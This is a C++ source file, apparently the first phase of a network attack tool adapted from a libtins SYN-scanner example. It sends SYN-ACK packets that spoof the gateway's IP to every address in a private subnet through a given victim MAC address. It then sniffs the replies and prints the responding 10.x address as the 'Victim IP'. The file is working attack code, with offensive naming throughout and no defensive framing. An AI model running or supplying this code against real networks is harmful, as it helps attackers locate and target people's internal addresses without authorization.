You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
204 lines
5.8 KiB
204 lines
5.8 KiB
/*
|
|
* Modified from http://libtins.github.io/examples/syn-scanner/
|
|
*
|
|
* INCLUDED COPYRIGHT
|
|
* Copyright (c) 2016, Matias Fontanini
|
|
* All rights reserved.
|
|
*
|
|
* Redistribution and use in source and binary forms, with or without
|
|
* modification, are permitted provided that the following conditions are
|
|
* met:
|
|
*
|
|
* * Redistributions of source code must retain the above copyright
|
|
* notice, this list of conditions and the following disclaimer.
|
|
* * Redistributions in binary form must reproduce the above
|
|
* copyright notice, this list of conditions and the following disclaimer
|
|
* in the documentation and/or other materials provided with the
|
|
* distribution.
|
|
*
|
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
|
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
|
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
|
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
|
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
*
|
|
*/
|
|
|
|
#include <iostream>
|
|
#include <iomanip>
|
|
#include <vector>
|
|
#include <set>
|
|
#include <string>
|
|
#include <cstdlib>
|
|
#include <pthread.h>
|
|
#include <unistd.h>
|
|
#include <tins/tins.h>
|
|
#include <tins/ip.h>
|
|
#include <tins/tcp.h>
|
|
#include <tins/ip_address.h>
|
|
#include <tins/ethernetII.h>
|
|
#include <tins/network_interface.h>
|
|
#include <tins/sniffer.h>
|
|
#include <tins/utils.h>
|
|
#include <tins/packet_sender.h>
|
|
|
|
using std::cout;
|
|
using std::endl;
|
|
using std::vector;
|
|
using std::pair;
|
|
using std::setw;
|
|
using std::string;
|
|
using std::set;
|
|
using std::runtime_error;
|
|
|
|
using namespace Tins;
|
|
|
|
typedef pair<Sniffer*, string> sniffer_data;
|
|
|
|
std::string vip;
|
|
std::string gwip;
|
|
|
|
bool verbose = false;
|
|
|
|
|
|
class Scanner {
|
|
public:
|
|
Scanner(NetworkInterface& interface,
|
|
std::string dest_mac,
|
|
std::string source_mac,
|
|
std::string gateway_ip,
|
|
std::string private_ip,
|
|
std::string private_ip_subnet_mask,
|
|
int sport,
|
|
int dport);
|
|
|
|
void run();
|
|
private:
|
|
void send_synacks();
|
|
bool callback(PDU& pdu);
|
|
static void* thread_proc(void* param);
|
|
void launch_sniffer();
|
|
NetworkInterface iface;
|
|
std::string dst_mac;
|
|
std::string src_mac;
|
|
std::string src_ip;
|
|
std::string victim_ip;
|
|
std::string victim_subnet;
|
|
int sport;
|
|
int dport;
|
|
Sniffer sniffer;
|
|
};
|
|
|
|
Scanner::Scanner(NetworkInterface& interface,
|
|
std::string dest_mac,
|
|
std::string source_mac,
|
|
std::string gateway_ip,
|
|
std::string private_ip,
|
|
std::string private_ip_subnet_mask,
|
|
int src_port,
|
|
int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
|
|
|
|
}
|
|
|
|
void* Scanner::thread_proc(void* param) {
|
|
Scanner* data = (Scanner*)param;
|
|
data->launch_sniffer();
|
|
return 0;
|
|
}
|
|
|
|
void Scanner::launch_sniffer() {
|
|
sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
|
|
}
|
|
|
|
/* Our scan handler. This will receive SYN-ACKS and inform us
|
|
* the scanned port's status.
|
|
*/
|
|
bool Scanner::callback(PDU& pdu) {
|
|
// Find the layers we want.
|
|
const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
|
const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
|
|
static int total_seen = 0;
|
|
if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
|
|
if (verbose) std::cout << "Victim IP is:";
|
|
std::cout << ip.src_addr() << "\n";
|
|
vip = ip.src_addr();
|
|
total_seen += 1;
|
|
if (total_seen > 0) {
|
|
return false;
|
|
|
|
}
|
|
}
|
|
return true;
|
|
}
|
|
|
|
void Scanner::run() {
|
|
pthread_t thread;
|
|
// Launch our sniff thread.
|
|
pthread_create(&thread, 0, &Scanner::thread_proc, this);
|
|
// Start sending SYNs to port.
|
|
send_synacks();
|
|
|
|
// Wait for our sniffer.
|
|
void* dummy;
|
|
pthread_join(thread, &dummy);
|
|
}
|
|
|
|
// Send syn acks to the given ip address, using the destination ports provided.
|
|
void Scanner::send_synacks() {
|
|
// Retrieve the addresses.
|
|
PacketSender sender;
|
|
IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
|
|
|
|
|
|
for (const IPv4Address &addr : ip_range) {
|
|
EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
|
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
|
tcp.set_flag(TCP::ACK, 1);
|
|
tcp.set_flag(TCP::SYN, 1);
|
|
if (verbose) std::cout << "Sending to IP:" << addr << std::endl;
|
|
sender.send(pkt, iface);
|
|
sender.send(pkt, iface);
|
|
usleep(10);
|
|
}
|
|
|
|
}
|
|
|
|
void scan(int argc, char* argv[]) {
|
|
std::string dst_mac = argv[1]; // victim MAC address
|
|
std::string src_mac = ""; // src mac does not matter
|
|
std::string private_ip_subnet = argv[2];
|
|
std::string private_ip_subnet_mask = argv[3];
|
|
gwip = argv[4]; // IP of server that client is talking to
|
|
|
|
int sport = 80; // source, dest port for phase-1 are arbitrary
|
|
int dport = 80;
|
|
|
|
|
|
IPv4Address ip(gwip);
|
|
// Resolve the interface which will be our gateway
|
|
NetworkInterface iface(ip);
|
|
if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
|
|
// Consume arguments
|
|
Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
|
|
private_ip_subnet_mask, sport, dport);
|
|
scanner.run();
|
|
}
|
|
|
|
int main(int argc, char* argv[]) {
|
|
if (argc != 6) {
|
|
std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
|
|
exit(-1);
|
|
}
|
|
try {
|
|
scan(argc, argv);
|
|
}
|
|
catch(runtime_error& ex) {
|
|
cout << "Error - " << ex.what() << endl;
|
|
}
|
|
}
|